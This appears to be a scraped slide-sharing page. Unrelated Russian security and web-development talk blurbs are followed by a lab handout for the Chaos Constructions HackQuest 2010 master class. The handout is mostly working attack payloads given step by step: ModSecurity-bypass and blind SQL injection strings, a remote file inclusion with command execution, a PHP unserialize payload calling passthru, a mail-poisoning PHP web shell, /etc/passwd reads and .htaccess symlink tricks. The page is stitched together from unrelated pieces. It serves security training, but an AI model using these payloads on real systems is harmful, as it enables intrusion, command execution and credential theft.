Технопарк Mail.ru Group, МГТУ им. Н.Э. Баумана. Курс "Базы данных".
Лекция №9 "Безопасность баз данных". Лектор - Павел Щербинин.
Открывается лекция рассказом о резервном копировании (о логических и физических резервных копиях, о выборе данных для копирования). Затем определяется терминология для обсуждения дальнейших вопросов. После этого рассматриваются основы учётных записей: таблицы доступа, привилегии, виды записей. Обсуждаются SQL-injection, список смежных вершин (Adjacency Set), вложенное множество (Nested Set), материализованный путь (Materialized Path) и комбинированный подход.
Видео лекции курса https://www.youtube.com/playlist?list=PLrCZzMib1e9obOz5K695ugYuiOOCBciEi
Технопарк Mail.ru Group, МГТУ им. Н.Э. Баумана. Курс "Базы данных".
Лекция №9 "Безопасность баз данных". Лектор - Павел Щербинин.
Открывается лекция рассказом о резервном копировании (о логических и физических резервных копиях, о выборе данных для копирования). Затем определяется терминология для обсуждения дальнейших вопросов. После этого рассматриваются основы учётных записей: таблицы доступа, привилегии, виды записей. Обсуждаются SQL-injection, список смежных вершин (Adjacency Set), вложенное множество (Nested Set), материализованный путь (Materialized Path) и комбинированный подход.
Видео лекции курса https://www.youtube.com/playlist?list=PLrCZzMib1e9obOz5K695ugYuiOOCBciEi
7Summits Case Study - Milwaukee School of Engineering7Summits
7Summits case study for Milwaukee School of Engineering (MSOE).
Milwaukee School of Engineering was looking for ways to transform their admissions experience to be more engaging and connect with a generation that lives on social media. MSOE partnered with 7Summits to develop a rich, web-based application tool that is tightly woven into a community platform for prospective students. The robust online community, Bridge, creates a space where students, parents, and counselors can share resources and engage in conversation. It also serves as a launch pad to the admissions process.
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
Лекция Петра Волкова в Школе вебмастеров: «Как защитить свой сайт».
https://academy.yandex.ru/events/webmasters_school/yawebm2015/
Актуальные типы угроз и динамика их развития
Компрометация сервера и её последствия. Распределённые атаки типа «отказ в обслуживании». Подмена или добавление рекламы на стороне клиента. Атаки, направленные на пользователей. Проблемы, связанные со внешним содержимым.
Управление рисками безопасности веб-сайтов
Разные типы сайтов подвержены разным типам рисков информационной безопасности. Понимание целей и подходов злоумылшенников как ключ к эффективному снижению рисков. Методы монетизации атак на сайты.
Доступный инструментарий и методики для обеспечения безопасности
Открытые инструменты форензики для типовых и сложных проектов. Системы обнаружения вторжений, подходы к проектированию безопасности в архитектуре и процессах.
Тестирование на проникновение в сетях Microsoft (v.2)Dmitry Evteev
Как показывает практика проведения тестирований на проникновение компанией Positive Technologies, всего 4-х часов достаточно атакующему, находящемуся во внутренней сети компании, для того, чтобы получить максимальный уровень привилегий. С чем это связано и можно ли от этого защититься? Данная тема будет освещена в ходе доклада Дмитрия Евтеева. На вебинаре будут подробно рассмотрены типовые успешные сценарии атак в сетях Microsoft, а также действия атакующего, связанные с пост эксплуатацией в Active Directory.
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Александр Егурцов
Презентация к вебинару об устройстве фреймворка symfony 2.
Видеозапись вебинара находится в моём блоге по адресу http://frontend-dev.ru/2012/12/12/symfony2-основы
В презентации рассмотрены следующие вопросы:
- технические и организационные подробности подготовки и проведения РусКрипто CTF 2010
- заложенные уязвимости, пути их обнаружения и эксплуатации
- хронология событий на РусКрипто CTF 2010 и не найденные игроками уязвимости
"API «Битрикс24» — разбор с пристрастием". Александр Сербул, 1С-БитриксYandex
Весной «Битрикс24» представил открытый API, который позволяет разработчикам самостоятельно расширять возможности сервиса. В докладе речь пойдёт о том, как обеспечить безопасность не в ущерб функционалу, как решать проблемы, возникающие в поддержке состояния объектов, какие подводные камни таятся в форматах данных. Идемпотентность — нужна ли она и когда именно. Будут рассмотрены примеры использования Маркетплейса. Также поговорим о том, как масштабировать проекты и куда расти.
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extensionchaykaborya
Доклад с 4front meetup #8.
Видео здесь: https://youtu.be/-i9nNmCCFpA
В докладе речь идет о том как портировать Chrome Extension в Firefox Extension или сразу написать кросс-браузерное расширение с нуля.
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
Ведущие: Денис Колегов и Арсений Реутов
Авторы доклада продемонстрируют, как внедрение клиентских сценариев JavaScript может быть использовано для обнаружения и предотвращения различных атак, поиска уязвимых клиентских компонент, определения утечек данных об инфраструктуре веб-приложений, выявления веб-ботов и инструментальных средств нападения. Поделятся собственными методами обнаружения инъекций при помощи синтаксических анализаторов без сигнатур и фильтрующих регулярных выражений, а также рассмотрят реализацию концепции JavaScript-ловушек на стороне клиента для атак SSRF, IDOR, Command Injection и CSRF.
В современном бизнесе все решает время. Доступность корпоративных приложений из любой точки земного шара и с любых мобильных устройств - это и есть облик современного бизнеса. Но как обеспечить подобную доступность? VPN-шлюзы? Доставка приложений через веб-сервисы? Каждая компания свободна в выборе любого из решений. Но насколько безопасны эти решения? В презентации затронута практическая безопасность при организации удаленного доступа к приложениям с использованием решений самых популярных брендов в этой сфере.
2. ОГЛАВЛЕНИЕ
1 ЗАДАНИЯ МАСТЕР-КЛАССА ........................................................................................3
1.1 П РАКТИЧЕСКОЕ ЗАНЯТИЕ , ЧАСТЬ 1 3
1.2 П РАКТИЧЕСКОЕ ЗАНЯТИЕ . Ч АСТЬ 2 5
1.3 П РАКТИЧЕСКОЕ ЗАНЯТИЕ . Ч АСТЬ 3 7
1.4 Д ОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ 9
1.4.1 С СЫЛКИ НА ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ ............................................................................................9
Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 2 из 9
3. 1 Задания мастер-класса
1.1Практическое занятие, часть 1
Действие Описание
1. Обнаружить a. Откройте интерфейс http://192.168.192.2/
уязвимость SQL b. Укажите в качестве значения формы поиска 1'.
Injection
c. Вы должны увидеть следующее сообщение об ошибке:
Query failed: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near ''1'',0)' at
line 1
Query: INSERT INTO indexes (text,source) value ('1'',0)
2. Обойти a. В том же интерфейсе укажите в качестве значения формы поиска 1 union select
превентивные b. Вы должны увидеть сообщение, свидетельствующее о блокировке запроса
защитные превентивным защитным механизмом Mod_Security:
механизмы (WAF)
Method Not Implemented
c. Вернитесь на предыдущую страницу и воспользуйтесь методом обхода правил
противодействия атаке «Внедрение операторов SQL» в Mod_Security. Для этого в
качестве значения формы поиска укажите:
/*!union select*/
/*!12345union select*/
d. Полученное сообщение об ошибке (…syntax to use near 'union select*/)'…)
свидетельствует о том, что существует возможность контролировать поступающие к
веб-приложению запросы, которые, в свою очередь, используются для генерации
SQL-запросов в обход политики безопасности Web Application Firewall.
3. Воспользоваться a. Для получения доступа к системе управления сайта воспользуйтесь техникой
уязвимостью SQL проведения атаки Error-based SQL Injection:
Injection для 1'/*!%2b(select+1+from(select+count(*),concat((select+user()
получения доступа к +from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+informa
системе управления tion_schema.tables+group+by+x)a)%2b*/'1
сайтом.
b. Следующий набор запросов поможет Вам достигнуть поставленной цели:
1'/*!,
(select+1+from(select+count(*),concat((select+table_name+from+information_schema
.tables+where+table_schema!='information_schema'+and+table_schema!
='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a))*/on+duplicate+key+update+a=('
1'/*!,
(select+1+from(select+count(*),concat((select+column_name+from+information_sche
ma.columns+where+table_name='admins'+limit+0,1),0x3a,floor(rand(0)*2))x+from+i
Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 3 из 9
4. Действие Описание
nformation_schema.columns+group+by+x)a))*/on+duplicate+key+update+a=('
1'/*!,
(select+1+from(select+count(*),concat((select+column_name+from+information_sche
ma.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+i
nformation_schema.columns+group+by+x)a))*/on+duplicate+key+update+a=('
4. Авторизуйтесь в a. Используя полученное имя пользователя на предыдущем этапе и пароль «ihs7rv»,
системе управления пройдите авторизацию по адресу http://192.168.192.2/panel/.
сайтом и b. Уязвимость «Local File Including» содержится в параметре «page» серверного
воспользуйтесь сценария «cms_v10.php». Следующий запрос позволит Вам выполнять команды на
уязвимостью LFI для сервере:
получения «ключа»
192.168.192.2/panel/cms_v10.php?page=http://192.168.192.4/include.txt&cmd=ls
c. Воспользуйтесь уязвимостью, чтобы получить содержимое файла KEY в корневой
директории веб-сервера.
Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 4 из 9
5. 1.2Практическое занятие. Часть 2
Действие Описание
Примечание: Для выполнения заданий первой части практического занятия необходимо использовать браузер Mozilla
Firefox с установленным дополнением «Tamper Data» (https://addons.mozilla.org/firefox/addon/966).
5. Подобрать d. Откройте интерфейс http://192.168.192.6/.
«спрятанные» за e. Убедитесь в отсутствии поступающих в веб-приложение параметров, кроме
mod_rewrite параметров в форме авторизации пользователя.
поступающие в веб-
f. Перейдите на страницу http://192.168.192.4/fuzz/.
приложение
параметры. g. Ознакомьтесь с примером использования утилиты по указанному адресу.
h. Для осуществления перебора поступающих в веб-приложение параметров с IP-
адресом 192.168.192.6 используйте следующий запрос:
http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=1'
i. Чтобы понять смысл такого подхода, попробуйте другие запросы:
http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=1
http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=2
http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=a
6. Воспользоваться a. Откройте интерфейс http://192.168.192.6/.
уязвимостью SQL b. Полученные знания на предыдущем этапе позволят обнаружить уязвимость «слепое
Injection. внедрение операторов SQL». Выполните следующие запросы для ее обнаружения:
/index.php?pag=1'or(1)=(1)/*&login=1&password=1
/index.php?pag=1'or(1)=(2)/*&login=1&password=1
c. Различия в ответах веб-приложения позволяют читать данные из базы данных.
Например, следующий запрос является истинным:
/index.php?pag=1'+or+mid(version(),1,3)='4.0'/*&login=1&password=1
Это означает, что версия базы данных – 4.0.x.
d. Восстановите имя пользователя с использованием данного подхода. Пример:
/index.php?pag=1'+or+mid(login,1,1)='b'/*&login=1&password=1
Первая буква имени пользователя – символ «b».
Примечание: пароль для учетной записи администратора приложения – «qWeRtY123».
7. Обнаружить a. Пройдите авторизацию на интерфейсе http://192.168.192.6/.
уязвимость при b. Скопируйте архив, содержащий резервную копию приложения.
вызове функции
c. Путем анализа содержимого архива найдите уязвимость при вызове функции
unserialize().
unserialize() и уязвимость, связанную с HTTP Parameter Pollution.
8. Воспользоваться a. Откройте интерфейс http://192.168.192.6/. Уязвимость содержится в параметре
уязвимостью при cookie[admin_id]. Следующий запрос позволяет выполнить функцию phpinfo():
вызове функции
Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 5 из 9
6. Действие Описание
unserialize() с целью O:8:"Database":1:{s:8:"shutdown"%3Ba:2:
выполнения команд {i:0%3Bs:7:"phpinfo"%3Bi:1%3Bs:2:"-1"%3B}}
ОС и для получения
«ключа».
b. Приведенный ниже запрос аналогичным образом позволит выполнить команду
получения списка файлов и каталогов в текущем каталоге веб-сервера:
O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:8:"passthru"%3Bi:1%3Bs:8:"ls -
la /"%3B}}
c. Воспользуйтесь данной уязвимостью для получения содержимого файла «KEY»,
который расположен в корневой директории сервера.
Примечание: попробуйте воспользоваться уязвимостью HTTP Parameter Pollution для получения другого «ключа».
Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 6 из 9
7. 1.3Практическое занятие. Часть 3
Действие Описание
1. Осуществить a. Перейдите в командную строку путем использования команды cmd из меню Пуск-
перенос DNS-зоны. >Выполнить.
b. Введите команду nslookup, после чего выберите DNS-сервер, с которым необходимо
взаимодействовать:
server 192.168.192.10
c. Для получения всех записей с сервера DNS установите соответствующий параметр:
set type=any
d. После этого разрешите IP-адрес из обратной DNS-зоны сети 192.168.192.0/24:
10.192.168.192.in-addr.arpa
Вы должны увидеть следующий ответ DNS-сервера:
Server: [192.168.192.10]
Address: 192.168.192.10
10.192.168.192.in-addr.arpa name = ns.cc10.site
192.168.192.in-addr.arpa nameserver = ns.cc10.site
ns.cc10.site internet address = 192.168.192.10
e. Теперь вы знаете прямую DNS-зону – это cc10.site. Следующая команда позволит
осуществить перенос зоны:
ls -d cc10.site
f. Для того чтобы браузер смог осуществить разрешение имен сайтов «vasya.cc10.site»
и «r00t.cc10.site», расположенных на веб-сервере с IP-адресом 192.168.192.10,
необходимо:
- либо изменить настройки DNS-сервера на сетевом адаптере, прописав в
качестве первичного DNS-сервера IP-адрес 192.168.192.10;
- либо прописать соответствующие строки в файл %systemroot%System32drivers
etchosts.
2. Обнаружить и a. Перейдите на сайт http://vasya.cc10.site/ и найдите уязвимость Local File Including.
воспользоваться Следующая конструкция позволяет получить содержимое файла /etc/passwd:
уязвимостью LFI. ../../../../../etc/passwd%00
b. Единственный способ, которым можно воспользоваться для получения возможности
выполнения команд на сервере при эксплуатации уязвимости LFI в контексте
исследуемого сайта – это использование локального файла электронной почты в
качестве контейнера полезной нагрузки. Используя командную строку, осуществите
отправку письма пользователю vasya:
telnet 192.168.192.10 25
ehlo cc10.site
mail from:any@cc10.site
Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 7 из 9
8. Действие Описание
rcpt to:vasya
data
<?php passthru($_GET['cmd']);?>
.
c. После успешной отправки почтового сообщения у Вас появляется возможность
выполнения команд ОС:
http://vasya.cc10.site/index.php?file=/var/mail/vasya%00&cmd=ls -la /
3. Осуществить обход a. Перейдите на сайт http://r00t.cc10.site/. Как Вы можете заметить, сайт требует Basic-
ограничений авторизации. Подобная ситуация в контексте хостинг-центра скорее всего связана с
SuEXEC для тем, что в корневом каталоге сайта r00t.cc10.site содержится файл .htaccess.
получения доступа к b. Для того чтобы получить доступ к содержимому файла .htaccess в корневом каталоге
содержимому сайта сайта r00t.cc10.site (/usr/local/www/data/root/), выполните следующие команды:
r00t.cc10.site.
http://vasya.cc10.site/index.php?file=/var/mail/vasya%00&cmd=echo Options
+FollowSymLinks > .htaccess
http://vasya.cc10.site/index.php?file=/var/mail/vasya%00&cmd=ln -s /usr/local/www/
data/root/.htaccess /usr/local/www/data/vasya/test.txt
c. На этом этапе Вы можете реализовать доступ к требуемым данным:
http://vasya.cc10.site/test.txt
d. Получите доступ к содержимому файла .htpasswd и осуществите авторизацию на
сайте http://r00t.cc10.site/. После этого Вы получите доступ к заветному «ключу».
Примечание: на сайте r00t.cc10.site используется пароль «password».
Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 8 из 9
9. 1.4Дополнительные материалы
1.4.1 Ссылки на дополнительные материалы
Дополнительные материалы доступны по следующим ссылкам:
http://www.securitylab.ru/hq2010
http://cc.org.ru/
http://devteev.blogspot.com/2010/08/chaos-constructions-2010_30.html
Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 9 из 9